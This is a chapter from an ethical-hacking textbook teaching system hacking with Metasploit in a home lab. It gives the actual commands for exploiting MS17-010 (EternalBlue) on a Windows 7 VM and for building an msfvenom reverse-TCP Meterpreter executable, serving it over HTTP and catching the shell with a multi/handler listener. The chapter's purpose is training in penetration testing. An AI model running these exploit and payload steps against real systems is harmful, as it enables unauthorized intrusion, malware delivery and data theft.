SYSTEM HACKING

System hacking is when someone tries to get into your computer

system or network without permission. It can be used to break into
your system, steal sensitive info, or just mess with your normal
day-to-day operations. It is a serious cyber threat that can affect
people, businesses, and even countries.
System hacking is a broad term that encompasses a wide range of
techniques, tools, and vulnerabilities that hackers can use to
compromise a system. In this chapter, we’ll explore some of the most
common system hacking techniques and tools used by hackers.
Understanding how hackers attack a system is important for both
cybersecurity experts and system administrators who want to protect
their systems from potential threats.
This chapter delves into the various types of vulnerabilities,
ranging from software flaws to misconfigurations and system
vulnerabilities, shedding light on the intricate web of potential
entry points for hackers. Additionally, we'll explore the concept of
reverse connections, a sophisticated technique employed by cyber
adversaries to establish unauthorized access by exploiting
weaknesses in network defense.
In our case we are going to use Metasploit Framework to learn about
System Hacking.
Metasploit Framework
Metasploit is not just a tool; it is a comprehensive Ruby-based
framework designed to facilitate penetration testing, vulnerability
assessments, and the execution of security exploits. Metasploit is a
powerful open-source penetration testing framework for ethical
hackers. Founded in 2003, the framework has since evolved into a
cross-functional project. With its modular structure, users can
tailor testing workflows to suit their needs, using a wide variety
of exploits, payloads, and other tools.
With both manual testing and automated testing, Metasploit is the
tool of choice for security professionals around the world. With its
easy-to-use interface and robust documentation, it’s a must-have
tool for ethical hackers.
Metasploit Inner Architecture
Your productivity with Metasploit will increase as you get more
understanding of it. While it is not really required to know the
inner workings of this potent weapon to begin started, as you
progress, this information will become more and more helpful.
Metasploit has multiple interfaces including:

● Console: It is an interactive command-line like interface

called msfconsole

1
 ● CLI: There is a CLI called msfcli which is a literal Linux
command line interface
● Web: Also, msfweb is present which is browser-based interface.

● GUI: There is a gui based third party application called

Armitage.

The architecture of Metasploit is illustrated visually in the

diagram below. For now, take notice of the modules down the bottom
and the interfaces to the right.

Figure 1: Metasploit Architecture

Without a doubt, the most popular method of using Metasploit is via

the interactive shell called msfconsole. We will be utilizing this
msfconsole a lot in this chapter and future also.
The core functionalities that Metasploit provides can be summarized
by the modules:

● Exploit Modules: These modules exploit weaknesses in systems

that they are targeting. They frequently include code designed
to take advantage of a particular weakness in order to obtain
unauthorized access or take control of the victim.
Examples include operating system and web server exploits, as
well as exploits for particular software flaws.
● Auxiliary Modules: These modules are used to carry out
auxiliary functions including vulnerability detection, network
scanning, and information gathering.

2
 Tools for brute force attacks, port scanners, and
reconnaissance modules are a few examples.
● Post-Exploitation Modules: These modules are used after a
successful compromise to interact with the compromised system,
extract information, and maintain access.
Modules for data extraction, command execution on the target,
and privilege escalation are a few examples.
● Payload Modules: Following a successful exploit, malware known
as payloads is run on the target machine. Payloads come in
various varieties, including singles, stagers, and stages.
Singles are standalone pieces of code, while stagers and
stages work together to deliver a payload in stages, making
the exploitation process more flexible and evasive.
● Encoder Modules: Encoders make payloads harder for intrusion
detection systems and antivirus software to detect by
obscuring them.
These modules encode the payload in a way that the original
code is preserved but is more challenging to identify.
● NOP (No Operation) Modules: In order to guarantee that the
exploit reaches its target even in cases where the precise
memory location is unknown, NOP sleds are utilized to generate
a buffer of no-operation instructions prior to the real
exploit code.
● Evasion Modules: This module newly added after Metasploit 5 release.
Metasploit includes a set of evasion modules that focus on
different techniques to bypass security measures. These
modules are designed to be used in conjunction with exploits
or payloads. Without needing to install additional tools,
evasion modules enable Framework users to create evasive
payloads that try to avoid antivirus software like Windows
Defender.
Installation
Metasploit comes pre-installed in Kali Linux. Metasploit can be
installed on different operating systems if Kali Linux is not being
used. Installing the Metasploit framework can be done by following
the directions found on the official Metasploit website at
[Link]
framework/
Getting Started with Metasploit
In Kali Linux, open a terminal and type sudo su to get root
privilege

$ sudo su

3
Postgresql should be started before we launch Metasploit. Though it
can function without PostgreSQL, Metasploit can perform searches
more quickly and save the data you gather while scanning and
exploiting thanks to this database.
Before opening Metasploit, launch the Postgresql database by typing;

# systemctl start postgresql

You must initialize the database if you are launching Metasploit for
the first time using following command;

# msfdb init

Once the database has been initialized, you can launch the
Metasploit Framework console by simply typing;

# msfconsole

After launching the Metasploit you will greet with a prompt similar
like the image given below.

You might get a different banner but the prompt will be similar.
Every time you launch the Metasploit the banner changes randomly. If
you want, you can change the banner just by typing

msf6> banner

4
As shown in the above image you can see that all the 7 modules
present inside Metasploit are mentioned.
Metasploit has a variety of commands and keywords that you can use
within its console interface. Now, let's examine a few of those
keyword commands. Using the Metasploit (msf6>) prompt, we can type
help to obtain a list of commands.

Here are some important key Metasploit keywords and commands:

● search: Searches the Metasploit database for modules,

exploits, payloads, etc.
msf6> search keyword
● use: Selects a specific module or exploit.

5
 msf6> use module_name
● show options: Displays the options available for the selected
module or exploit.
msf6> show options
● set: Sets a value for a specific option in the current module
or exploit.
msf6> set option_name value
● exploit: Executes the selected exploit or module.
msf6> exploit
● payload: Sets the payload for the selected exploit.
msf6> set payload payload_name
● show payloads: Displays a list of available payloads for the
selected exploit.
msf6> show payloads
● sessions: Lists active sessions or interact with a specific
session.
msf6> sessions -i
msf6> sessions -i session_number
● background: Puts the current session in the background without
terminating it.
msf6> background
● jobs: Lists and manages background jobs.
msf6> jobs

You can find out rest of the keyword command using help command.
Next, we are going to see these commands in action and learn how we
can use Metasploit for System Hacking.
System Hacking Using System Vulnerability
System vulnerabilities are the weak points within a computer system
that malicious actors exploit to gain unauthorized access,
manipulate data, or disrupt operations. In our example we are going
learn about a System Vulnerability called MS17-010 which is present
on Windows 7 system. You can also find this specific vulnerability
in Windows Server 2008 R2 also.
Lab Requirements:

● Install Windows 7: For this lab we’ll target a windows 7

system which will be our test subject. You can download iso
image of Windows 7 from online. Then install downloaded
windows 7 iso in virtual box and make the network connection

6
 bridged. You’ll find out step by step installation process in
the chapter called LAB SETUPS at the end of the book.

● Firewall Settings: Before starting emulating this attack make

sure that your windows 7 system’s firewall should be turned
off. This is crucial for allowing penetration testing tools to
communicate with the target system. You can disable from
control panel from below mentioned location
Control Panel\System and Security\Windows Firewall\Customize
Settings

Enumerations:

7
Like real life penetration testing we’ll start our system hacking
process with enumeration process by scanning the target ip (In my
case [Link]) with nmap. For that the first command we use is
below

# nmap -sV -Pn -O [Link]

It will give us information about the target system including open

ports, service with their version running in them and about
Operating System.

As we can see from above image, in our target system windows 7 OS is

installed. So, we’ll further use nmap to do a script scan to find
vulnerability. For that we’ll use a NSE script named vuln to find
vulnerability and use the below mentioned command to implement the
scan

# nmap --script=vuln [Link]

8
As you can see from the above images, we have found a vulnerability
called ms17-010. First let us talk about this vulnerability.
About ms17-010
MS17-010 was a critical remote code execution vulnerability in the
Windows Server Message Block (SMB) protocol. Exploiting this
vulnerability allowed an attacker to execute code remotely on a
target system without requiring any user interaction. It came to
light in 2017 when the WannaCry ransomware used it to its advantage,
resulting in extensive disruption and damage.

● Commonly Known As: EternalBlue

● CVE ID: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-

0146, CVE-2017-0148
● Vulnerable Systems: The vulnerability primarily affected
Windows operating systems, including:
o Windows 7
o Windows Server 2008 R2
o Windows Server 2012 and 2012 R2
o Windows 8.1
o Windows 10 (prior to version 1709)

Exploitation
After completion of enumeration process, we will use our Metasploit
Framework to exploit the MS17-010 vulnerability. Let’s start our
msfconsole it terminal first.

# msfconsole

9
After opening of msfconsole our first step will be to search ms17-
010 in msfconsole.

As we can see from the above image there are 5 modules as output, we
get but only the first one with index 0 is the exploit that we want.
So, our next step will be to use the preferred module. There are two
ways we can do that one is specifying the whole name of the module
or another method is to only mentioning the searched index sequence
number as below.

# msf6> use exploit/windows/smb/ms17_010_eternalblue

OR

# msf6> use 0

About reverse_tcp: A frequent payload type in Metasploit for creating a reverse

connection from the attacked system (target) back to the attacker's system is
reverse_tcp. When the target system is protected by a firewall or network address
translation (NAT), making it difficult to make a direct connection from the
attacker's system, this payload is especially helpful.

Then we must run the show command to find out the parameters which
we have to set. We will look for the empty parameters with Required
column mentioning Yes.

> show options

10
Some important parameters with their meaning
o RHOSTS: Target System’s IP Address
o RPORT: Target System’s PORT Number
o LHOST: Listen Address or Attacker IP or Kali System IP
o LPORT: Listen Port of Kali System

Check all the empty field which is must require and check the
already filled items are correct or not. Then using set command
assign value into them.

> set rhosts [Link]

Then just type command ‘run’ or ‘exploit’ to start execute the

exploit.

> run

It’ll start running exploitation and we have to wait for exploit to

complete. If the exploit is successful, you should obtain a

11
Meterpreter session, providing you with a command-line interface of
the target system.

If you get the output like the above image that means you have
successfully got access of the target system using the exploit.
Write below command to check the system you got access.

meterpreter> sysinfo

About Meterpreter
Within the Metasploit framework, Meterpreter is a potent post-
exploitation payload. Its purpose is to offer a command-and-control
platform that is both comprehensive and expandable so that users may
communicate with hacked systems. Penetration testers, ethical
hackers, and red team members frequently utilize Meterpreter to
carry out different post-exploitation tasks on target systems.
Here's a quick rundown of Meterpreter:
Key Points
o Command Execution: Meterpreter provides a command-line
interface (CLI) that helps the attacker to execute commands on
the victims system.
o File System Operations: In-built functionality allows for
browsing, uploading, downloading, and manipulating files on
the target system.
o Privilege Escalation: Meterpreter includes built-in scripts
and capabilities for privilege escalation to gain higher-level
access on the compromised system.
o Networking Functions: Enables the manipulation of network
connections, port forwarding, and network discovery.
o System Information Gathering: Provides detailed information
about the target system, including hardware, software, and
user details.

12
 o Post-Exploitation Modules: Integrates with various post-
exploitation modules in Metasploit for tasks such as
screenshot capture, keylogging, and data exfiltration.
o Persistence: Supports techniques for maintaining access to a
compromised system over time, including the ability to create
persistent backdoors.
o Privilege De-Escalation: Meterpreter includes features for
lowering privileges on a compromised system to avoid
detection.
Tradition Shell vs. Meterpreter Shell
Traditional Shell:

● Type: Standard Command Shell (bash on Unix-like platforms,

[Link] on Windows)
● Capabilities:
o Executing simple commands on the hacked machine.
o In comparison to Meterpreter, limited functionality, and
interaction.
o Advanced post-exploitation modules and functionalities
are typically absent.
o Standard input/output communication with the compromised
system.
● Use Cases:
o Ideal for simple command execution jobs.
o Restricted from carrying out more complex post-
exploitation tasks.
Meterpreter Shell:

● Type: Enhanced Payload with Advanced Capabilities

● Capabilities:
o Comprehensive post-exploitation platform with a wide
range of integrated functionalities.
o The compromised system can be accessed through an
advanced command-line interface (CLI).
o Contains modules for many kinds of activities, like
keylogging, capturing screenshots, manipulating files,
and escalating privileges.
o Facilitates encrypted communication, which strengthens
security between the compromised system and the attacker.
o Extensible and allows the addition of custom scripts and
modules.

● Use Cases:
o Optimal for sophisticated post-exploitation tasks.

13
 o Perfect for situations requiring a higher degree of
control and investigation of the affected system.
o Frequently employed in ethical hacking and penetration
testing tasks.
Comparison:

1. Capabilities:
o Traditional Shell: Basic command execution with limited
features.
o Meterpreter Shell: Enhanced post-exploitation features
that increase its potency and versatility.
2. Flexibility:
o Traditional Shell: Limited extensibility.
o Meterpreter Shell: Highly extensible, supporting the
development and integration of custom scripts and
modules.
3. Communication:
o Traditional Shell: Standard input/output.
o Meterpreter Shell: Supports encrypted communication,
enhancing security and evading detection.
4. Post-Exploitation Modules:
o Traditional Shell: Lacks built-in modules for post-
exploitation tasks.
o Meterpreter Shell: Contains a large selection of post-
exploitation modules for different kinds of tasks.
5. Privilege Escalation:
o Traditional Shell: Limited capability to elevate
privilege.
o Meterpreter Shell: Includes pre-installed scripts for
Windows and other system’s privilege escalation.

Meterpreter Functionalities
Entering ‘?’ or typing help we can see all the available
functionality in-built inside meterpreter.

meterpreter> help

14
Let’s try to take a screenshot of our target system using command
screenshot.

meterpreter> screenshot

As we can see from the above image the screenshot is saved inside my
kali system and location is also given. Just by opening the jpeg
image you can see the target system’s screenshot.

This is how we can use Metasploit in System Hacking.

Mitigation
To safeguard your system from vulnerabilities, like the MS17-010
exploit (WannaCry), you need to combine security measures and
recommended practices. The following brief recommendations will
assist you in improving the security of your system:
System Hacking with Reverse Connection/Reverse Shell:
A reverse connection or reverse shell is a type of shell in which
the target machine initiates a connection to the attacker’s machine.
After the connection is made, the attacker can access the command
shell of the target system remotely, which gives them the ability to
run commands and use the system as though they were physically
there. Since reverse shells enable remote access to a system without
requiring human input or network configuration, they are frequently
employed in penetration testing and other security-related tasks.

15
The typical workflow of a reverse shell attack involves the
following steps:
1. Listener Setup: The attacker sets up a listener (a program
waiting for incoming connections) on their machine. Tools like
Metasploit, Netcat (nc), or other such applications could be
used for this.
2. Payload Execution: The attacker somehow delivers a payload to
the target system. This payload is a script or executable
that, when run on the target machine, initiates a connection
back to the attacker's listener. These payloads can be varied
depending on the target system’s OS or situation.
3. Connection Establishment: The payload on the target machine
connects to the attacker's machine, establishing a reverse
connection.
4. Remote Access: Once the reverse shell connection is made, the
attacker can access the target system's shell or command
prompt. After then, they can use the compromise system to run
programs, manipulate data or files, and carry out various
actions.
Why do attackers need a reverse shell?
Most of the cases the main culprit is Firewall. The firewall
restricts or limits incoming traffic that is sent by the attacker to
the target system/server, but it excludes outgoing traffic that the
server transmits to attackers. Typically, compromised systems only
permit connections on designated ports. Ports 80 and 443 are the
only ones that a dedicated web server would allow connections on.
This indicates that the compromised server cannot have a shell
listener installed on it.
However, firewalls typically do not impose any restrictions on
outgoing connections. As a result, by configuring the listener, an
attacker can establish a reverse connection. In this scenario, the
server will function as a user, forwarding messages to the attacker.
All that the attacker needs is a machine that has the IP address and
a tool such as Netcat to create the listener and bind shell access
to it.

We will try to replicate the same attack as mentioned in the above

diagram. Our first step is to create a payload. For that msfvenom
will help us.

16
What is msfvenom?
The msfvenom is a component of the Metasploit Framework, which is
specifically a payload generator as well as encoder. It enables
penetration testers, ethical hackers, and security experts to design
unique malicious payloads that can be utilized to take advantage of
holes in target systems. Many functionalities, such as remote
command execution, shell access, or other types of access to a
compromised system, are frequently delivered via these payloads.
Lab
For attack replication we are going to use the same Windows 7 system
as victim like before. But in this attack, firewall should be
enabled inside the Windows 7 system.

Payload Creation Using Msfvenom

As we are attacking a windows system so our payload must be exe
file. To create the payload, use the following command

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link]

LPORT=4444 -f exe -o [Link]

Let us break down the command:

● msfvenom: This is the command-line interface for generating

payloads using the Metasploit Framework.

● -p windows/meterpreter/reverse_tcp: Specifies the payload to

be generated. In this case, it's a Meterpreter reverse TCP
shell for Windows.

17
 ● LHOST=[Link]: Sets the Local Host (your machine's IP
address) to which the target system will connect back. Replace
[Link] with your actual IP address.

● LPORT=4444: Sets the Local Port on which the payload will

listen for incoming connections from the target system. In
this example, it's set to port 4444.

● -f exe: Specifies the output format of the payload. In this

case, it's set to generate a Windows executable file (.exe).

● -o [Link]: Specifies the output file name. The generated

payload will be saved as "[Link]" in the current working
directory.
Remember to replace the IP address (LHOST) with the actual IP
address of your machine. When you run this command, it will generate
a Windows executable file named "[Link]" with a Meterpreter
reverse TCP shell.

Payload creation is successful.

Starting Listener in Attacker Kali System
Start msfconsole first using below command.

# msfconsole --quiet

After opening of msfconsole we will use the following command.

msf6> use exploit/multi/handler

exploit/multi/handler: This is the module path that you are selecting. In this
case, it refers to the multi-handler module, which is commonly used for handling
multiple types of payloads.

As we can see from the above image payload is configured as

‘generic/shell_reverse_tcp’. Because we had created our payload

18
‘windows/meterpreter/reverse_tcp’ so we have to change the payload
also using following command.

Then like our previous attack we must find out what are the required
parameters are. So, the command ‘show options’ will be used for
that.

msf6 exploit(multi/handler) > show options

LPORT is already set to 4444 as our listening port. We just have to

set the value of LHOST as Kali Linux IP.

msf6 exploit(multi/handler) > set lhost [Link]

Now we have to run it to start listening on port 4444.

msf6 exploit(multi/handler) > run

19
Delivery of Payload
Now somehow, we must send the payload to the victim system.
To deliver [Link] payload to the victim system, I used python
http server using below command.

# python [Link] 80

Then I shared the http server address with the victim system.
[Link]
After victim open this url in victim’s system’s browser, [Link]
will be downloaded in victim’s system.

After download victim executes the [Link] file.

20
Because out listener was started so we’ll get the meterpreter
session like below.

Rest of the part same as before.

Now from the above you can see that I got access to the meterepreter
and using command shell I generated a command prompt. I’ve used
command ‘whoami’ to see what user I got and we get It is not a
Administrative user. So in out next chapter we are going to learn
about how we can escalate our privileges and get access to the
Administrator privilege.

21